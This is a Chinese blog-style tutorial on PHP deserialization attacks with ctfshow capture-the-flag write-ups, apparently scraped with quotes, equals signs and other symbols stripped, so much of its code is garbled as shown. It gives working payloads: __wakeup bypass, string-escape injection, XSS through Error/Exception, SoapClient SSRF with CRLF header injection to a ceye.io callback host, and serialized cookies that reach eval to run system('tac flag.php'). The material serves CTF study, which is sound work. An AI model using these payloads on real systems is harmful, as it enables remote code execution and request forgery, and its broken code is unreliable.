wordpress pdf阅读,进一步优化,免费手机网站制作app,360导航建设网站怎么建PHP反序列化
概念
序列化的原因#xff1a;为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递#xff0c;不可能整个椅子打包发送#xff0c;这是非常不方便的#xff0c;所以就要对椅子进行序列化处理#xff0c;让椅子分成很多部分在一起打包发送…PHP反序列化
概念
序列化的原因为了解决开发中数据传输和数据解析的一个情况(类似于要发送一个椅子快递不可能整个椅子打包发送这是非常不方便的所以就要对椅子进行序列化处理让椅子分成很多部分在一起打包发送到目的后重新组装也就是反序列化处理)
序列化对象转换为数组或字符串等格式
反序列化将数组或字符串等格式转换成对象
在php中serialize()函数是序列化函数、unserialize()函数是反序列化函数
举例
?php
header(Content-type: text/html; charsetutf-8);class user{public $name qdy;public $sec man;public $age 21;
}
$demo new user();$s serialize($demo); //序列化
$u unserialize($s); //反序列化
echo $s.br;
var_dump($u);上图可见代码执行完后第一行是被序列化后的字符串
解读 常见魔术方法
__construct
初始化函数一旦调用类就执行初始化函数
?php
header(Content-type: text/html; charsetutf-8);
class A {public $name;public $age;public $string;public function __construct($name,$age,$string){$this-name $name;$this-age $age;$this-string $string;echo 初始化函数__construct加载完毕.br;}
}
$person new A(张三,20,hello world);__destruct
销毁函数unset()函数销毁 或 一旦调用完毕自动销毁销毁就执行销毁函数
?php
header(Content-type: text/html; charsetutf-8);
class A {public $name;public $age;public $string;public function __destruct(){echo 销毁函数__destruct加载完毕.br;return array(name$this-name,age$this-age,string$this-string);}
}
$person new A(张三,20,hello world);__sleep
序列化函数一旦对函数实例进行序列化就执行
?php
header(Content-type: text/html; charsetutf-8);
class A {public function __sleep(){echo 序列化函数__sleep加载完毕.br;}}
$person new A();
$a serialize($person);__wakeup
反序列化函数一旦对被序列化的实例反序列化就执行
?php
header(Content-type: text/html; charsetutf-8);
class B {public $name;public $age;public $string;public function __wakeup(){echo 反序列化函数__wakeup加载完毕.br;}
}
$b new B(a,b,c);
$ser_b serialize($b);
unserialize($ser_b);__invoke
以函数调用方式调用一个对象时就会被调用执行
?php
header(Content-type: text/html; charsetutf-8);
class C {public function __invoke($param1,$param2,$param3){echo 这是一个对象.br;var_dump($param1,$param2,$param3);}
}
$c new C();
$c(a,b,c);//此时触发__toString
当一个对象被当作一个字符串来操作时__toString 方法将被调用
?php
header(Content-type: text/html; charsetutf-8);
class D {public function __toString() {// 当一个对象被当作一个字符串来操作时__toString 方法将被调用echo __toString函数被执行.br;return 这是一个字符串;}
}
$d new D();
// 当作字符串输出 就执行
echo $d;__call
如果调用的方法不存在则自动执行__call方法
?php
header(Content-type: text/html; charsetutf-8);
class E {public function __call($name,$arguments){// 如果调用方法不存在则自动执行__call方法echo __call函数被调用.br;echo 调用方法.$name.不存在.br;}
}
$e new E();
$e-test(a,b); // test方法不存在__get
当试图读取一个不存在的属性时__get 方法将被调用
?php
header(Content-type: text/html; charsetutf-8);
class F {public $n 123;public function __get($name){// 当试图读取一个不存在的属性时__get 方法将被调用echo __get函数被调用.br;}
}
$f new F();
echo $f-n;
echo br;
echo $f-qdy;__set
当试图给一个不存在的属性赋值时__set 方法将被调用
?php
header(Content-type: text/html; charsetutf-8);
class G {public $n 123;public function __set($name,$value){// 当试图给一个不存在的属性赋值时__set 方法将被调用echo __set函数被调用.br;}
}
$g new G();
$g-qdy 456;
var_dump($g);__isset
当对不可访问的属性调用 isset() 或 empty() 时__isset() 会被调用
isset()检测变量是否已设置并且非 NULL变量已经存在且不是 NULL则返回 true
empty()检查变量是否为空。这里的“空”是指变量的值不存在、变量的值为 NULL、变量的值为零长度字符串、变量的值为零、变量的值为布尔值 false、或者变量是一个没有元素的数组。如果变量是“空”的返回 true
?php
header(Content-type: text/html; charsetutf-8);
class H {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this-sex $sex;$this-age $age;$this-name $name;}public function __isset($connect){// 当对不可访问的属性调用 isset() 或 empty() 时__isset() 会被调用echo __isset函数被调用 $connect.br;}
}
$h new H(man,20,张三);
echo $h-sex.br;
echo isset($h-name);例如上面代码中的$age是私有的 __unset
当对不可访问的属性调用 unset() 时__unset() 会被调用
unset()销毁变量
?php
header(Content-type: text/html; charsetutf-8);
class I {public $sex; //公共的private $age; //私有的private $name;public function __construct($sex,$age,$name){$this-sex $sex;$this-age $age;$this-name $name;}public function __unset($connect){// 当对不可访问的属性调用 unset() 时__unset() 会被调用echo __unset函数被调用 $connect.br;}
}
$i new I(man,20,张三);
echo $i-sex.br;__serialize
public __serialize ( ) : array必须返回数组 __serialize() 函数会检查类中是否存在一个魔术方法 __serialize()。如果存在该方法将在任何序列化之前优先执行。它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回 如果类中同时定义了 serialize() 和 __sleep() 两个魔术方法则只有 _serialize() 方法会被调用。 __sleep() 方法会被忽略掉。 ?php
header(Content-Type:text/html;charsetutf-8);
class Cat {private $name null;function __construct(?string $name null){if(is_null($this-name)){$this-setName($name);}}private function setName($name){$this-name $name;}public function __serialize(): array{echo __serialize执行br;return [catname $this-name,];}public function __sleep(){echo __sleep执行br;}
}$Cat new Cat(旺财);
serialize($Cat);可以发现直接忽略掉了__sleep方法 只执行了__serialize方法
__unserialize
public __unserialize ( array $data) : void必须接收数组 unserialize() 检查是否存在具有名为 __unserialize() 的魔术方法。此函数将会传递从 __serialize() 返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。 注意:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法则只有 __unserialize() 方法会生效__wakeup() 方法会被忽略。 ?php
class Connection
{protected $link;private $dsn, $username, $password;public function __construct($dsn, $username, $password){$this-dsn $dsn;$this-username $username;$this-password $password;}public function __unserialize(array $data): void{echo 执行了__unserializebr;$this-dsn $data[dsn];$this-username $data[user];$this-password $data[pass];$this-connect();}
}$a new Connection(mysql:hostlocalhost;dbnamephpfxl, root, );
unserialize(serialize($a));__wakeup绕过CVE-2016-7124 漏洞编号CVE-2016-7124 影响版本PHP 5-5.6.25; PHP 7-7.0.10 漏洞危害如存在__wakeup方法调用unserilize()方法前则先调用__wakeup方法但序列化字符串中表示对象属性(变量)个数的值大于真实属性个数时会跳过__wakeup执行 ?php
header(Content-type: text/html; charsetutf-8);
highlight_file(__FILE__);
class A {public $a;public function __wakeup() {echo 执行了__wakeup方法br;}
}$a new A();
$b serialize($a);
echo $b.br;
$c unserialize($_GET[x]);例如这里传入这个函数的序列化就执行了__wakeup方法 将表示对象属性数量的位置改为大于本来的变量数量即可不执行__wakeup()方法 字符串逃逸绕过
直接实例讲解
只需记住在反序列化中;}是反序列化的结束符
字符增加型
?php
header(Content-type: text/html; charsetutf-8);
highlight_file(__FILE__);
error_reporting(0);
function filter($name){$safearray(flag,php);$namestr_replace($safe,hack,$name);return $name;
}
class test{var $user;var $passdaydream;function __construct($user){$this-user$user;}
}
$param$_GET[param];
$paramserialize(new test($param));
echo $param.br;
$profileunserialize(filter($param)); // //对param的值user进行安全性检查
echo filter($param).br;if ($profile-passescaping){ //目标echo flag is there;
}例如上述题目目标要使得pass等于escaping可是pass不可控只有user是可控的但是php会被替换为hack就会增加一位先构造后面的序列化后pass的数据
;s:4:“pass”;s:8:“escaping”;}
要判断输入多少个php能达成序列化后的数据是正确的我写了一个公式
4x-29 3x x是未知数
29数值来源于;s:4:“pass”;s:8:“escaping”;}的长度4是被替换的hack的长度3是被替换的php的长度所以x理应等于反序列化后面的长度
只要算出x的值那么php就该键入x个;s:4:“pass”;s:8:“escaping”;}
所以x29则payloadparamphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp;s:4:“pass”;s:8:“escaping”;}
刚刚好;s:4:“pass”;s:8:“escaping”;}的长度因为被替换多出的长度弥补
字符减少型
?php
header(Content-type: text/html; charsetutf-8);
//highlight_file(__FILE__);
class A{public $v1 system();public $v2 123;
}
$data serialize(new A());
$data str_replace(system(),,$data); //str_replace把system()替换为空
echo $data.br;一个思路
O:1:A:2:{s:2:v1;s:8:;s:2:v2;s:3:123;}由于序列化字符串是以严格的位数和“”决定
//$v1 system(); $v2 123
被替换后O:1:A:2{s:2:v1;s:8:;s:2:v2;s:3:123;}//$v1 abcsystem()system()system(); 26
//$v2 1234567;s:2:v3;N;}; 21
被替换后
O:1:A:2:{s:2:v1;s:27:abc;s:2:v2;s:21:1234567;s:2:v3;N;};}abc;s:2:“v2”;s:21:1234567 就变成了v1的值
然后可以随意构造v3的值
PHP原生类 PHP 原生类指的是 PHP 内置的类它们可以直接在 PHP 代码中使用且无需安装或导入任何库相当于代码中的内置方法例如echo print等等可以直接调用但是原生类就是可以就直接php中直接创建的类我们可以直接调用创建对象但是这些类中有的会有魔术方法为此我们可以创建原生类去利用其中的魔术方法来达到我们反序列化的利用。 PHP 原生类的利用小结 - 先知社区
使用 Error/Exception 内置类进行 XSS
Error 内置类 适用于php7版本 在开启报错的情况下 Error类是php的一个内置类用于自动自定义一个Error在php7的环境下可能会造成一个xss漏洞因为它内置有一个 __toString() 的方法常用于PHP 反序列化中。 demo代码
?php
$a unserialize($_GET[cmd]);
echo $a;
?payload
?php
$a new Error(scriptalert(xss)/script);
echo urlencode(serialize($a));
?Exception 内置类
适用于php5、7版本开启报错的情况下
demo代码
?php
$a unserialize($_GET[cmd]);
echo $a;
?POC
?php
$a new Exception(scriptalert(xss)/script);
$b serialize($a);
echo urlencode($b);
?使用 SoapClient 类进行 SSRF PHP 的内置类 SoapClient 是一个专门用来访问web服务的类可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。 该内置类有一个 __call 方法当 __call 方法被触发后它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。 该类的构造函数如下
public SoapClient :: SoapClient(mixed $wsdl [array $options ])第一个参数是用来指明是否是wsdl模式将该值设为null则表示非wsdl模式。第二个参数为一个数组如果在wsdl模式下此参数可选如果在非wsdl模式下则必须设置location和uri选项其中location是要将请求发送到的SOAP服务器的URL而uri 是SOAP服务的目标命名空间。
知道上述两个参数的含义后就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null然后第二个参数的location选项设置为target_url。
?php
$a new SoapClient(null,array(locationhttp://test.ivxyak.ceye.io/aaa, urihttp://test.ivxyak.ceye.io));
$b serialize($a);
echo $b;
$c unserialize($b);
$c-a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?利用crlf漏洞配合user_agent设置请求头参数和POST数据包
请注意要带POST数据包就得带上请求头参数Content-Type: application/x-www-form-urlencoded
并且排序一定得规律
?php
$ua ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntokenctfshow;
$a new SoapClient(null,array(locationhttp://127.0.0.1/flag.php, user_agent$ua,urihttp://127.0.0.1));
$b serialize($a);
echo urlencode($b);
?使用 DirectoryIterator 类绕过 open_basedir DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口该类是在 PHP 5 中增加的一个类。 ?php
$dir $_GET[cmd];
$a new DirectoryIterator($dir);
foreach($a as $f){echo($f-__toString().br);
}php框架反序列化利用 ThinkPHPYiiLaravel
生成各种框架POP链工具https://github.com/ambionics/phpggc
[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化 访问www.zip下载源码 打开后可以判断就是ThinkPHP框架的源码 由此判断框架版本为6.0.x
查找ThinkPHP的反序列化漏洞有此版本 生成pop链子 寻找反序列化的位置发现index.php文件内有unserialize($payload) 审计代码发现,$payload来源于get传参payload的值
绕过限制将参数payload等于刚刚生成的pop链就行了
ctfshow反序列化
web254
?php
error_reporting(0);
highlight_file(__FILE__);
include(flag.php);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){if($this-username$u$this-password$p){$this-isViptrue;}return $this-isVip;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;echo your flag is .$flag;}else{echo no vip, no flag;}}
}$username$_GET[username];
$password$_GET[password];if(isset($username) isset($password)){$user new ctfShowUser();if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;}
}想输出flag可以看见就得执行ctfShowUser类里面的vipOneKeyGetFlag方法
直接看下面如果想执行到ctfShowUser类实例里的vipOneKeyGetFlag 就得使得 u s e r − l o g i n ( user-login( user−login(username, p a s s w o r d ) 为 t r u e password) 为true password)为trueuser-checkVip()为true使得 t h i s − u s e r n a m e this-username this−usernameu t h i s − p a s s w o r d this-password this−passwordp就能使得$this-isViptrue就能执行到vipOneKeyGetFlag
payload?usernamexxxxxxpasswordxxxxxx
web255
?php
error_reporting(0);
highlight_file(__FILE__);
include(flag.php);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;echo your flag is .$flag;}else{echo no vip, no flag;}}
}$username$_GET[username];
$password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]);if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;}
}和上题一样只不过$user变成了cookie里user参数的值直接将ctfShowUser改成符合下面代码条件再序列化就行 payload
?usernamexxxxxxpasswordxxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
加个user参数的cookie值为payload就可以 web256
?php
error_reporting(0);
highlight_file(__FILE__);
include(flag.php);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public function checkVip(){return $this-isVip;}public function login($u,$p){return $this-username$u$this-password$p;}public function vipOneKeyGetFlag(){if($this-isVip){global $flag;if($this-username!$this-password){echo your flag is .$flag;}}else{echo no vip, no flag;}}
}$username$_GET[username];
$password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]);if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();}}else{echo no vip,no flag;}
}这题和上题唯一不一样的点就在vipOneKeyGetFlag方法里想执行echo $flag就得满足
$this-username!$this-password直接更改
public $usernameqwer;
public $passwordqazx;payload:
?usernameqwerpasswordqazx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22qwer%22%3Bs%3A8%3A%22password%22%3Bs%3A4%3A%22qazx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $usernamexxxxxx;private $passwordxxxxxx;private $isVipfalse;private $class info;public function __construct(){$this-classnew info();}public function login($u,$p){return $this-username$u$this-password$p;}public function __destruct(){$this-class-getInfo();}}class info{private $userxxxxxx;public function getInfo(){return $this-user;}
}class backDoor{private $code;public function getInfo(){eval($this-code);}
}$username$_GET[username];
$password$_GET[password];if(isset($username) isset($password)){$user unserialize($_COOKIE[user]);$user-login($username,$password);
}这里出现了两个魔术方法__construct和 __destruct
想办法更改类使得执行backDoor里的eval就行 ?usernamexxxxxxpasswordxxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tacflag.php%27%29%3B%22%3B%7D%7D web258
?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $usernamexxxxxx;public $passwordxxxxxx;public $isVipfalse;public $class info;public function __construct(){$this-classnew info();}public function login($u,$p){return $this-username$u$this-password$p;}public function __destruct(){$this-class-getInfo();}}class info{public $userxxxxxx;public function getInfo(){return $this-user;}
}class backDoor{public $code;public function getInfo(){eval($this-code);}
}$username$_GET[username];
$password$_GET[password];if(isset($username) isset($password)){if(!preg_match(/[oc]:\d:/i, $_COOKIE[user])){$user unserialize($_COOKIE[user]);}$user-login($username,$password);
}这题和上一题的区别在于多了过滤 ?usernamexxxxxxpasswordxxxxxx
cookie:user
O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tacflag.php%27%29%3B%22%3B%7D%7D web259 --利用含有__call魔术方法的原生类SoapClient 源代码中没有出现任何的类和getflag方法调用一个不存在的方法时想到触发__call魔术方法。
那接下来就寻找有__call()方法的原生类
?php
$classes get_declared_classes();
foreach ($classes as $class) {$methods get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array(// __destruct,// __toString,//__wakeup,__call,//__callStatic,//__get,//__set,//__isset,//__unset,//__invoke,//__set_state // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类))) {print $class . :: . $method . \n;}}}
?执行结束后发现存在SoapClient原生类
这个类可以实现发起http请求
接下来构造去请求flag.php文件并且得满足能读到flag的所有条件 利用ssrf结合crlf构造POC
?php
$ua ua\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntokenctfshow;
$a new SoapClient(null,array(locationhttp://127.0.0.1/flag.php, user_agent$ua,urihttp://127.0.0.1));
$b serialize($a);
echo urlencode($b);
?直接访问flag.txt
web260
阅读源码意思就是序列化后的ctfshow参数值只要包含ctfshow_i_love_36D字符串就输出flag
那么直接让ctfshowctfshow_i_love_36D就行
web261
?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this-username$u;$this-password$p;}public function __wakeup(){if($this-username! || $this-password!){die(error);}}public function __invoke(){eval($this-code);}public function __sleep(){$this-username;$this-password;}public function __unserialize($data){$this-username$data[username];$this-password$data[password];$this-code $this-username.$this-password;}public function __destruct(){if($this-code0x36d){file_put_contents($this-username, $this-password);}}
}unserialize($_GET[vip]);可以看见类中全是魔术方法
__construct初始化方法
__wakeup反序列化时自动触发
__invoke以函数调用方式调用一个对象时就会被调用执行
__sleep序列化时被调用
__unserialize
web271 Laravel 一打开题目就知道是Laravel框架利用phpgcc查看相关的pop链
由于不知道版本只能一个一个生成pop链尝试